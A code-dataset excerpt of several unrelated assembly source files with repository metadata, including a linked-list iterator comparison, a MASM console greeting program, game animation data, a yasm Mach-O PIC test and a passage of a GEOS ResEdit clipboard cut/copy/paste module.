2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_math16
PUBLIC frexpf16
EXTERN cm16_sccz80_frexp
defc frexpf16 = cm16_sccz80_frexp
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _frexpf16
EXTERN cm16_sdcc_frexp
defc _frexpf16 = cm16_sdcc_frexp
ENDIF
| 14.0625
| 34
| 0.831111
|
0d177dfd3affa84f20a15ba7f5c001662203db5e
| 513
|
asm
|
Assembly
|
source/lli_equal.asm
|
mateuszstompor/Linked-List-x86-64-ASM
|
0652d03458ef65e93a6cad4586dacbd5893c5ed6
|
[
"MIT"
] | 5
|
2019-07-12T11:30:22.000Z
|
2022-03-07T18:39:52.000Z
|
source/lli_equal.asm
|
mateuszstompor/Linked-List-x86-64-ASM
|
0652d03458ef65e93a6cad4586dacbd5893c5ed6
|
[
"MIT"
] | 6
|
2019-07-22T21:34:01.000Z
|
2020-02-09T15:09:10.000Z
|
source/lli_equal.asm
|
mateuszstompor/Linked-List-x86-64-ASM
|
0652d03458ef65e93a6cad4586dacbd5893c5ed6
|
[
"MIT"
] | null | null | null |
;
; Created by Mateusz Stompór on 30/06/2019.
;
%include "source/iterator.asm"
%include "source/offsets.asm"
global LLI_EQUAL
section .text
LLI_EQUAL:
; About
; Compares two iterators against each other
; Takes
; rdi - pointer to the first iterator
; rsi - pointer to the second iterator
mov rax, 1
xor rdx, rdx
mov rcx, [rdi]
cmp rcx, [rsi]
cmovne rax, rdx
mov rcx, [rdi + LL_NODE_NEXT_OFFSET]
cmp rcx, [rsi + LL_NODE_NEXT_OFFSET]
cmovne rax, rdx
ret
| 18.321429
| 47
| 0.653021
|
340d7824a6a99142205a9484e2684bc2188a0093
| 1,214
|
asm
|
Assembly
|
lab6/HelloWorld.asm
|
mochisvelas/Microprogramming
|
565d49e1c0c84b5e45b121e484324e770b65ed72
|
[
"MIT"
] | null | null | null |
lab6/HelloWorld.asm
|
mochisvelas/Microprogramming
|
565d49e1c0c84b5e45b121e484324e770b65ed72
|
[
"MIT"
] | null | null | null |
lab6/HelloWorld.asm
|
mochisvelas/Microprogramming
|
565d49e1c0c84b5e45b121e484324e770b65ed72
|
[
"MIT"
] | null | null | null |
.386
.model flat,stdcall
option casemap:none
INCLUDE \masm32\include\windows.inc
INCLUDE \masm32\include\masm32.inc
INCLUDE \masm32\include\masm32rt.inc
INCLUDE \masm32\include\kernel32.inc
.data
o_hello db "Hola ",0
o_id db " su carnet es ",0
o_welcome db "Bienvenido a la carrera de ",0
o_insert_name db "Ingrese su nombre",0
o_insert_career db "Ingrese su carrera",0
o_insert_id db "Ingrese su carnet",0
new_line db 0Ah
.data?
input_name db 50 dup(?)
input_career db 50 dup(?)
input_id db 50 dup(?)
.const
.code
program:
;Ask and read user name
invoke StdOut, addr o_insert_name
invoke StdOut, addr new_line
invoke StdIn, addr input_name,10
;Ask and read user id
invoke StdOut, addr o_insert_id
invoke StdOut, addr new_line
invoke StdIn, addr input_id,10
;Ask and read user career
invoke StdOut, addr o_insert_career
invoke StdOut, addr new_line
invoke StdIn, addr input_career,10
;Display welcome message
invoke StdOut, addr o_hello
invoke StdOut, addr input_name
invoke StdOut, addr o_id
invoke StdOut, addr input_id
invoke StdOut, addr new_line
invoke StdOut, addr o_welcome
invoke StdOut, addr input_career
;Exit program
invoke ExitProcess,0
END program
| 22.072727
| 45
| 0.764415
|
36322facfb1113629ff79eecd70b00b4eef1a6c8
| 100
|
asm
|
Assembly
|
gfx/pokemon/exploud/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
gfx/pokemon/exploud/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
gfx/pokemon/exploud/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
frame 0, 04
frame 1, 08
frame 2, 08
frame 3, 12
frame 2, 10
frame 3, 28
frame 2, 08
endanim
| 11.111111
| 12
| 0.63
|
1322f7830f4105654bb8d9c3d67269f43ccfb244
| 456
|
asm
|
Assembly
|
libsrc/oz/ozserial/ozgetrxhandshaking.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | 1
|
2018-09-04T23:07:24.000Z
|
2018-09-04T23:07:24.000Z
|
libsrc/oz/ozserial/ozgetrxhandshaking.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
libsrc/oz/ozserial/ozgetrxhandshaking.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
; Serial libraries
; buffered serial input
;
; ------
; $Id: ozgetrxhandshaking.asm,v 1.1 2003/10/21 17:15:21 stefano Exp $
;
XLIB ozgetrxhandshaking
LIB serial_int
XREF SerialBuffer
XREF ozrxhandshaking
ozgetrxhandshaking:
ld a,(ozrxhandshaking)
ld h,0
ld l,a
ret
| 17.538462
| 70
| 0.627193
|
82c239e66a25f1552b9b2f8990267985badb8662
| 66
|
asm
|
Assembly
|
data/maps/headers/LavenderMart.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
data/maps/headers/LavenderMart.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
data/maps/headers/LavenderMart.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
map_header LavenderMart, LAVENDER_MART, MART, 0
end_map_header
| 16.5
| 48
| 0.818182
|
e7730dcf32c107657b528088254812a8819203ec
| 54
|
asm
|
Assembly
|
src/tiles09.asm
|
fjpena/sword-of-ianna-msx2
|
f104f46a677e4b21f42fbed478307a0bb1d372f3
|
[
"Apache-2.0"
] | 43
|
2017-10-21T23:01:25.000Z
|
2022-02-21T17:45:11.000Z
|
src/tiles09.asm
|
fjpena/sword-of-ianna-msx2
|
f104f46a677e4b21f42fbed478307a0bb1d372f3
|
[
"Apache-2.0"
] | null | null | null |
src/tiles09.asm
|
fjpena/sword-of-ianna-msx2
|
f104f46a677e4b21f42fbed478307a0bb1d372f3
|
[
"Apache-2.0"
] | 6
|
2017-10-23T05:48:50.000Z
|
2022-01-06T03:11:49.000Z
|
org $8000
tilestest: INCBIN "tiles_nivel09.SR5.plet1"
| 18
| 43
| 0.796296
|
438923d130bbbad8294e52b38a270433011a0943
| 1,188
|
asm
|
Assembly
|
yasm-1.3.0/modules/objfmts/macho/tests/nasm32/macho32-pic.asm
|
xu5343/ffmpegtoolkit_CentOS7
|
974496c709a1c8c69034e46ae5ce7101cf03716f
|
[
"Apache-2.0"
] | 2,151
|
2020-04-18T07:31:17.000Z
|
2022-03-31T08:39:18.000Z
|
third_party/yasm/source/patched-yasm/modules/objfmts/macho/tests/nasm32/macho32-pic.asm
|
cangulcan/src
|
2b8388091c71e442910a21ada3d97ae8bc1845d3
|
[
"BSD-3-Clause"
] | 395
|
2020-04-18T08:22:18.000Z
|
2021-12-08T13:04:49.000Z
|
third_party/yasm/source/patched-yasm/modules/objfmts/macho/tests/nasm32/macho32-pic.asm
|
cangulcan/src
|
2b8388091c71e442910a21ada3d97ae8bc1845d3
|
[
"BSD-3-Clause"
] | 338
|
2020-04-18T08:03:10.000Z
|
2022-03-29T12:33:22.000Z
|
; At present, nasm doesn't seem to support PIC generation for Mach-O.
; The PIC support code below is a little tricky.
[extern func]
SECTION .rodata
const_base:
%define GOTOFF(got,sym) (got) + (sym) - const_base
%imacro get_GOT 1
; NOTE: this macro destroys ecx resister.
call %%geteip
add ecx, byte (%%ref - $)
jmp short %%adjust
%%geteip:
mov ecx, [esp]
ret
%%adjust:
push ebp
xor ebp,ebp ; ebp = 0
%ifidni %1,ebx ; (%1 == ebx)
; db 0x8D,0x9C + jmp near const_base =
; lea ebx, [ecx+ebp*8+(const_base-%%ref)] ; 8D,9C,E9,(offset32)
db 0x8D,0x9C ; 8D,9C
jmp near const_base ; E9,(const_base-%%ref)
%%ref:
%else ; (%1 != ebx)
; db 0x8D,0x8C + jmp near const_base =
; lea ecx, [ecx+ebp*8+(const_base-%%ref)] ; 8D,8C,E9,(offset32)
db 0x8D,0x8C ; 8D,8C
jmp strict near const_base ; E9,(const_base-%%ref)
%%ref: mov %1, ecx
%endif ; (%1 == ebx)
pop ebp
%endmacro
SECTION .text
jmp const_base
get_GOT ebx
jmp const_base
call func
ret
| 25.276596
| 73
| 0.531987
|
1212c2087c27be47e7df8a5e7db71982f68d9b05
| 62,330
|
asm
|
Assembly
|
Appl/Tools/Localize/Document/documentClipboard.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Tools/Localize/Document/documentClipboard.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Tools/Localize/Document/documentClipboard.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: ResEdit/Document
FILE: documentClipboard.asm
AUTHOR: Cassie Hartzog, Jan 11, 1993
ROUTINES:
Name Description
---- -----------
DocumentNotifyNormalTransferItemChanged Contents of the clipboard have
changed, update the EditMenu.
DocumentNotifySelectStateChange Sends out a GWNT_SELECT_STATE_CHANGE
type notification with the proper info
DocumentIsItemPasteable Checks for a pasteable item on the clipboard.
DocumentGetEditMenuState Determine the state of the Cut and Copy
EditMenu triggers, and the type of item.
SetEditMenuState The target has transferred between original and
translation item, or the current chunk has
changed. Update the state of the EditMenu
triggers appropriately.
DocumentIsSomethingSelected Determines if some text is selected, or
if the current chunk is graphics or bitmap, in
which case it is always considered selected.
CheckIfShortcutModified Compare translation shortcut to original, to
see if it has been modified.
DocumentClipboardCopyCut
CreateTransferItemCommon Copy a graphics item to the clipboard.
BuildTransferBlockGStringFormat Create a VMChain containig the gstring
that is to be put on the clipboard.
BuildGStringTransferBlock Build a CIF_GRAPHICS_STRING data block.
BuildBitmapTransferBlock Build a VMChain containing bitmap.
BuildTransferBlockBitmapFormat Create a VMChain containing the gstring
that is to be put on the clipboard.
DocumentClipboardPaste User has pasted something.
PasteGString Paste a scrap into a gstring.
CheckGStringCompatibility Check that gstring being pasted is the
same size as the original.
CopyGStringWithSizeAdjust Copies the passed source gstring to the
destination gstring, but also adjusts the width
and height of the destination by filtering out
any GR_SET_GSTRING_BOUNDS opcodes. If the
filtered gstring still isn't the right size,
carry is returned set. Remedy for bug 28886.
CopyGStringWithFilter Copies the source gstring to the destination
gstring, filtering op_codes specified by the
passed filter routine. Returns the width and
height of the filtered destination.
FilterSetBounds Accepts all elements except
GR_SET_GSTRING_BOUNDS.
FilterAllButDrawBitmap Rejects all opcodes except GR_DRAW_BITMAP.
DestroySourceAndDestGStrings Destroys the passed source and
destination gstrings. Source's data is left.
Destination's data is killed.
PasteBitmap paste a bitmap
CheckBitmapCompatibility Check that bitmap being pasted is the
same size as the original.
CheckBitmapSizeCompatible See if the gstring, stripped of its
GR_SET_GSTRING_BOUNDS, matches the expected
bitmap size.
GetBitmapFormat Check that bitmap being pasted is of the same
size as the original.
HugeBitmapToSimpleBitmap Converts a huge-bitmap (<64k) into a
regular bitmap in an item.
HugeBitmapGetSizeInBytes Returns the total number of bytes (data
only) in the bitmap.
AllocAndLockItemAndGetMonikerType Allocate and lock a new
translation item. Return moniker type of
original gstring.
GetGStringSize Get the height and width of a gstring or bitmap
CopyGStringToVMChain Copy a gstring to a temporary VMChain in the
document file.
LockCurrentItem Lock the item, translation or original, for the
current element.
SendToTargetText Sends a message on to the target text object.
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/11/93 Initial revision
DESCRIPTION:
Methods for implementing cut, copy and paste.
$Id: documentClipboard.asm,v 1.1 97/04/04 17:14:00 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentClipboardSegment segment resource
DocClip_ObjMessage_fixupDS proc near
push di
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop di
ret
DocClip_ObjMessage_fixupDS endp
DocClip_ObjMessage_call proc near
ForceRef DocClip_ObjMessage_call
push di
mov di, mask MF_CALL
call ObjMessage
pop di
ret
DocClip_ObjMessage_call endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentNotifyNormalTransferItemChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Contents of the clipboard have changed, update the
EditMenu.
CALLED BY: MSG_META_CLIPBOARD_NOTIFY_NORMAL_TRANSFER_ITEM_CHANGED
PASS: *ds:si - document
ds:di - document
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, bp, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 01/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentNotifyNormalTransferItemChanged method ResEditDocumentClass,
MSG_META_CLIPBOARD_NOTIFY_NORMAL_TRANSFER_ITEM_CHANGED
call DocumentGetEditMenuState ; cx <- SelectionDataType
; bx <- cut/copy boolean
; al <- paste boolean
FALL_THRU DocumentNotifySelectStateChange
DocumentNotifyNormalTransferItemChanged endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentNotifySelectStateChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends out a GWNT_SELECT_STATE_CHANGE type notification
with the proper info
CALLED BY:
PASS: al = BB_TRUE if paste should be enabled; BB_FALSE otherwise
bl = BB_TRUE if copy should be enabled; BB_FALSE otherwise
bh = BB_TRUE if cut should be enabled; BB_FALSE otherwise
cx = SelectionDataType
RETURN: nothing
DESTROYED: ax,bx,cx,si,di,es
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 4/17/93 stole from Image app
cassie 10/8/93 stolen from Icon app
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentNotifySelectStateChange proc far
uses dx,bp
.enter
;
; alloc data block
;
push ax, bx, cx
mov ax, size NotifySelectStateChange
mov cx, ALLOC_DYNAMIC or mask HF_SHARABLE or \
(mask HAF_ZERO_INIT or mask HAF_LOCK) shl 8
call MemAlloc
jc done
mov es, ax
mov ax, 1
call MemInitRefCount
pop ax, dx, cx
;
; initialize block
;
mov es:[NSSC_selectAllAvailable], BB_FALSE
mov es:[NSSC_selectionType], cx
mov es:[NSSC_clipboardableSelection], dl
mov es:[NSSC_deleteableSelection], dh
mov es:[NSSC_pasteable], al
call MemUnlock
;
; record notification
;
mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK
mov bp, bx ; save data block
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, GWNT_SELECT_STATE_CHANGE
clr bx ; no destination specified
clr si
mov di, mask MF_RECORD
call ObjMessage ; ^hdi = classed event
;
; send message
;
mov dx, size GCNListMessageParams
sub sp, dx
mov bx, bp ; bx = data block
mov bp, sp ; ss:bp = stack frame
mov ss:[bp].GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS
mov ss:[bp].GCNLMP_ID.GCNLT_type, \
GAGCNLT_APP_TARGET_NOTIFY_SELECT_STATE_CHANGE
mov ss:[bp].GCNLMP_block, bx
mov ss:[bp].GCNLMP_event, di
mov ss:[bp].GCNLMP_flags, mask GCNLSF_SET_STATUS
GetResourceHandleNS ResEditApp, bx
mov si, offset ResEditApp
mov di, mask MF_STACK
mov ax, MSG_META_GCN_LIST_SEND
call ObjMessage
add sp, size GCNListMessageParams
done:
.leave
ret
DocumentNotifySelectStateChange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentIsItemPasteable
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks for a pasteable item on the clipboard.
CALLED BY: EXT - utility
PASS: ds:di - document
RETURN: carry set if pasteable
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/11/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentIsItemPasteable proc near
uses ax,bx,cx,dx,bp
.enter
cmp ds:[di].REDI_curChunk, PA_NULL_ELEMENT
stc
je exit ; nothing to paste into
cmp ds:[di].REDI_curTarget, ST_ORIGINAL
stc
je exit ; can't paste into original
test ds:[di].REDI_chunkType, mask CT_OBJECT
clc
je exit ; can't paste into object
clr bp ; check normal item
call ClipboardQueryItem ; returns: bx:ax = header block
; bp = format count
tst bp ; any normal item?
stc
jz exit ; no normal item, done
; check for format of current chunk type
;
mov dx, CIF_TEXT
test ds:[di].REDI_chunkType, mask CT_TEXT
jnz testFormat
mov dx, CIF_GRAPHICS_STRING
test ds:[di].REDI_chunkType, CT_GRAPHICS
stc
jz done
testFormat:
mov cx, MANUFACTURER_ID_GEOWORKS
call ClipboardTestItemFormat ; carry clear if such an item
done:
;
; tell the clipboard that we are finished with this item
; bx:ax = (Transfer VM File):(VM block handle) of item's
; header block
;
pushf
call ClipboardDoneWithItem ; pass bx:ax = header block
popf
exit:
.leave
ret
DocumentIsItemPasteable endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentGetEditMenuState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determine the state of the Cut and Copy EditMenu triggers,
and the type of item.
CALLED BY: EXT - (DocumentNotifyNormalTransferItemChanged,
SetEditMenuState)
PASS: *ds:si - document
ds:di - document
RETURN: cx - SelectionDataType
al = BB_TRUE if paste should be enabled; BB_FALSE otherwise
bl = BB_TRUE if copy should be enabled; BB_FALSE otherwise
bh = BB_TRUE if cut should be enabled; BB_FALSE otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/11/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentGetEditMenuState proc near
.enter
mov bl, BB_FALSE ; don't enable copy
mov bh, BB_FALSE ; don't enable cut
call DocumentIsSomethingSelected
jnc nothingSelected
mov bl, BB_TRUE ; do enable copy
nothingSelected:
;
; check if Cut trigger should also be enabled
;
cmp ds:[di].REDI_curTarget, ST_ORIGINAL
je haveCutState ; don't enable if in OrigItem
test ds:[di].REDI_chunkType, CT_GRAPHICS
jnz haveCutState ; don't enable if graphics
mov bh, BB_TRUE
haveCutState:
mov al, BB_FALSE
call DocumentIsItemPasteable
jc havePasteState
mov al, BB_TRUE
havePasteState:
;
; get the selection type
;
mov cx, SDT_GRAPHICS
test ds:[di].REDI_chunkType, CT_GRAPHICS
jnz haveType
mov cx, SDT_TEXT
haveType:
.leave
ret
DocumentGetEditMenuState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetEditMenuState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: The target has transferred between original and translation
item, or the current chunk has changed. Update the state
of the EditMenu triggers appropriately.
CALLED BY: InitializeEdit, TransferTarget
PASS: *ds:si - document
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetEditMenuState proc far
uses ax,bx,cx,dx,si,di,bp
.enter
DerefDoc
cmp ds:[di].REDI_curChunk, PA_NULL_ELEMENT ; if no element, no
je done ; enable.
; If this is an original item, disable the undo trigger
;
mov ax, MSG_GEN_SET_NOT_ENABLED
cmp ds:[di].REDI_curTarget, ST_ORIGINAL
je setUndoTrigger
; If there is a transItem, enable the Undo trigger
;
mov ax, MSG_GEN_SET_ENABLED
tst ds:[di].REDI_transItem
jnz setUndoTrigger
; Else if it is an object, check to see if the shortcut has changed.
;
test ds:[di].REDI_chunkType, mask CT_OBJECT
jz notAnObject
call CheckIfShortcutModified ;zero clear if modified
jnz setUndoTrigger ;
notAnObject:
; The chunk is not marked dirty, has no transItem, or if it is an
; object, its shortcut has not changed so disable the Undo trigger.
;
mov ax, MSG_GEN_SET_NOT_ENABLED
setUndoTrigger:
push si
GetResourceHandleNS EditUndo, bx
mov si, offset EditUndo
mov dl, VUM_NOW
call DocClip_ObjMessage_fixupDS
pop si
test ds:[di].REDI_chunkType, mask CT_OBJECT
jnz done
;
; Notify the EditMenu of the change.
;
call DocumentGetEditMenuState
call DocumentNotifySelectStateChange
done:
.leave
ret
SetEditMenuState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentIsSomethingSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determines if some text is selected, or if the current
chunk is graphics or bitmap, in which case it is
always considered selected.
CALLED BY: SetEditMenuState
PASS: ds:di - document
RETURN: carry set if something is selected
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/29/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentIsSomethingSelected proc near
uses ax,bx,cx,dx,si,bp
.enter
test ds:[di].REDI_chunkType, CT_GRAPHICS
stc
jnz done
test ds:[di].REDI_chunkType, mask CT_TEXT or mask CT_OBJECT
clc
jz done
movdw bxsi, ds:[di].REDI_editText
cmp ds:[di].REDI_curTarget, ST_TRANSLATION
je getRange
mov si, offset OrigText
getRange:
sub sp, size VisTextRange
mov bp, sp
mov dx, ss ;dx:bp <- VisTextRange
mov ax, MSG_VIS_TEXT_GET_SELECTION_RANGE
call DocClip_ObjMessage_fixupDS
movdw axbx, ss:[bp].VTR_start
movdw cxdx, ss:[bp].VTR_end
add sp, size VisTextRange
cmpdw axbx, cxdx
stc
jne done
clc
done:
.leave
ret
DocumentIsSomethingSelected endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfShortcutModified
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Compare translation shortcut to original, to see if
it has been modified.
CALLED BY: SetEditMenuState
PASS: *ds:si - document
ds:di - document
RETURN: zero set if not modified
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 6/ 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckIfShortcutModified proc near
uses ax,bx,cx,si,di,ds
.enter
EC < call AssertIsResEditDocument >
call GetFileHandle
mov cx, ds:[di].REDI_kbdShortcut
mov ax, ds:[di].REDI_resourceGroup
mov di, ds:[di].REDI_origItem
call DBLock_DS
mov si, ds:[si] ;ds:si <- orig shortcut text
sub sp, SHORTCUT_BUFFER_SIZE
mov di, sp
segmov es, ss, bx
mov ax, cx
call ShortcutToAscii ;es:di <- new shortcut text
call LocalCmpStrings
lahf
add sp, SHORTCUT_BUFFER_SIZE
sahf
call DBUnlock_DS
.leave
ret
CheckIfShortcutModified endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentClipboardCopyCut
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_META_CLIPBOARD_COPY, MSG_META_CLIPBOARD_CUT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of ResEditDocumentClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentClipboardCopyCut method ResEditDocumentClass,
MSG_META_CLIPBOARD_COPY,
MSG_META_CLIPBOARD_CUT
test ds:[di].REDI_chunkType, mask CT_TEXT
jz notText
call SendToTargetText
ret
notText:
EC< cmp ax, MSG_META_CLIPBOARD_CUT >
EC< ERROR_E CANNOT_CUT_GRAPHICS >
clr bp ; ClipboardItemFlags - normal copy
FALL_THRU CreateTransferItemCommon
DocumentClipboardCopyCut endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateTransferItemCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy a graphics item to the clipboard.
CALLED BY: DocumentClipboardCopy
PASS: *ds:si - document
ds:di - document
bp - ClipboardItemFlags
0 for normal items
CIF_QUICK for quick-transfer item
RETURN: carry set if error on normal copy (not quick copy)
DESTROYED: ax,bx,cx,dx,bp,es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/27/93 Initial version
jmagasin 5/12/95 Added bitmap transfer format
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateTransferItemCommon proc far
uses si
.enter
mov bx, bp
call BuildTransferBlockGStringFormat ;ax:bp <- transfer VMChain
push ax, bp, cx, dx ;cx,dx <- gstring width,height
call BuildTransferBlockBitmapFormat ;ax:bp <- transfer VMChain
push ax, bp, cx, dx ;cx,dx <- bitmap width,height
mov dx, bx
call ClipboardGetClipboardFile ;^hbx <- transfer VM file
mov ax, 1111 ;VM block ID
mov cx, size ClipboardItemHeader
call VMAlloc ;^hax <- VM block handle
push ax
call VMLock
mov es, ax ; es <- segment of VM block
mov cx, bp ;^hcx <- handle of VM block
pop ax
mov es:[CIH_flags], dx ; quick or normal flag
mov dx, ds:[LMBH_handle]
movdw es:[CIH_sourceID], dxsi
movdw es:[CIH_owner], dxsi
;
; fill in name for clipboard item
;
SBCS < mov {byte}es:[CIH_name], 0 ; no name >
DBCS < mov {word}es:[CIH_name], 0 ; no name >
;
; fill in pointer to data block as the only format
;
mov es:[CIH_formatCount], 2 ;CIF_GRAPHICS_STRING
; and CIF_BITMAP formats
